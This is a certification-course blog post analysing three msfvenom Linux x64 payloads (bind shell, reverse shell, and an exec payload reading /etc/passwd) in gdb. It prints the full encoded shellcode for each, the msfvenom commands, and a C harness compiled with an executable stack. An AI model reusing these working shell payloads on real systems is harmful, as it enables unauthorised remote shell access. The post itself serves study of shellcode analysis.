SLAE64: Assignment 5: Shellcode Analysis

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert (SLAE64) certification:

https://www.pentesteracademy.com/course?id=7

Student-ID: PA-15847

The Objectives for the Assignment:

Take up at least 3 shellcode samples created using msfpayload for linux x86
- use gdb to dissect the functionality of the shellcode
- document your analysis

I chose the following shellcode from msfvenom:

  • linux/x64/shell_bind_tcp
  • linux/x64/shell_reverse_tcp
  • linux/x64/exec

For linux/x64/shell_bind_tcp, I created the shellcode:

msfvenom -p linux/x64/shell_bind_tcp -f c -b “\x00”

"\x48\x31\xc9\x48\x81\xe9\xf5\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\x62\x5a\x73\xd6\xc2\x9b\x6b\x02\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x08\x73\x2b\x4f\xa8\x99"
"\x34\x68\x63\x04\x7c\xd3\x8a\x0c\x39\xc5\x66\x7e\x71\xd6\xd3"
"\xc7\x23\x8b\x84\x30\x63\x8c\xa8\xaa\x33\x0d\x67\x30\x41\x8e"
"\xcd\x9e\x23\x33\x94\x30\x58\x8e\xcd\x9e\x23\x95\x08\x59\x2d"
"\x9e\x3d\x55\x01\x23\x3a\x55\x76\xa3\x34\xf1\x50\x5a\xfb\x12"
"\xc8\xf9\xa0\xf2\x05\x2d\x11\x32\x73\x85\x8a\x12\x8c\x50\x35"
"\x12\xfa\x30\xcd\x9e\x6b\x02";

Put the shellcode in our generic shellcode.c file and compile it:

#include<stdio.h>
#include<string.h>

unsigned char code[] = "";

main()
{
	printf("Shellcode Length:  %d\n", (int)strlen(code));
	int (*ret)() = (int(*)())code;
	ret();
}

Compile the file:

gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Now we can start analyzing with the gdb:

gdb -q ./shellcode -tui

As always, we write the following commands in gdb:

(gdb) set disassembly-flavor intel
(gdb) break *&code
(gdb) run
(gdb) layout asm
(gdb) layout regs
(gdb) stepi

That’s what we see in the beginning when we hit the breakpoint

Continue hitting stepi until the loop is over

Observe how we go through each syscalls as we wrote before in the previous assignments for bind shellcode (socket, bind, listen etc.)

For instance here we go through accept syscall (0x2b –> 43:syscall accept)

When we hit the last syscall, check on the port 4444 for a bind shell

Very straightforward. 🙂

Now let’s have a look at the next shellcode for linux/x64/shell_reverse_tcp:

Let’s create the shellcode first:

msfvenom -p linux/x64/shell_reverse_tcp lhost=127.0.0.1 -f c -b “\x00”

"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\xbe\xdc\x7d\x8c\xe8\x08\xc2\xc6\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xd4\xf5\x25\x15\x82\x0a"
"\x9d\xac\xbf\x82\x72\x89\xa0\x9f\x8a\x7f\xbc\xdc\x6c\xd0\x97"
"\x08\xc2\xc7\xef\x94\xf4\x6a\x82\x18\x98\xac\x94\x84\x72\x89"
"\x82\x0b\x9c\x8e\x41\x12\x17\xad\xb0\x07\xc7\xb3\x48\xb6\x46"
"\xd4\x71\x40\x79\xe9\xdc\xb5\x13\xa3\x9b\x60\xc2\x95\xf6\x55"
"\x9a\xde\xbf\x40\x4b\x20\xb1\xd9\x7d\x8c\xe8\x08\xc2\xc6";

Put the shellcode in our generic shellcode.c file and compile it:

#include<stdio.h>
#include<string.h>

unsigned char code[] = "";

main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}

Compile the file
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Now we can start analyzing with the gdb:

gdb -q ./shellcode -tui

As always, we write the following commands in gdb:

(gdb) set disassembly-flavor intel
(gdb) break *&code
(gdb) run
(gdb) layout asm
(gdb) layout regs
(gdb) stepi

That’s what we see in the beginning when we hit the breakpoint

We’ll see the following syscalls while we’re debugging the code and stepi’ing each line:

syscall socket
syscall connect
syscall read
syscall dup2
syscall execve
syscall close

For instance here, we see 42:syscall connect

We continue with stepi until we go through each syscall and get a reverse shell at the end:

The last shellcode we’ll analyze is linux/x64/exec

We’ll create the shellcode with the following command:

msfvenom -p linux/x64/exec CMD=”cat /etc//passwd” -f c -b “\x00”

“\x48\x31\xc9\x48\x81\xe9\xf9\xff\xff\xff\x48\x8d\x05\xef\xff”
“\xff\xff\x48\xbb\xbe\xcd\x47\x27\x02\x12\xf0\x80\x48\x31\x58”
“\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xd4\xf6\x1f\xbe\x4a\xa9”
“\xdf\xe2\xd7\xa3\x68\x54\x6a\x12\xa3\xc8\x37\x2a\x2f\x0a\x61”
“\x12\xf0\xc8\x37\x2b\x15\xcf\x13\x12\xf0\x80\xdd\xac\x33\x07”
“\x2d\x77\x84\xe3\x91\xe2\x37\x46\x71\x61\x87\xe4\xbe\x9b\x10”
“\x6f\x8b\xf4\xff\x85”;

Again we go through the same steps as we did for the previous shellcodes to compile and run it with GDB TUI option:

Again we start with the same setup:

First we go through the decoder stub and go through the loop

Let’s see the registers when we hit the first syscall

When we step in the syscall, /etc/passwd file content will return

Published
Categorized as SLAE64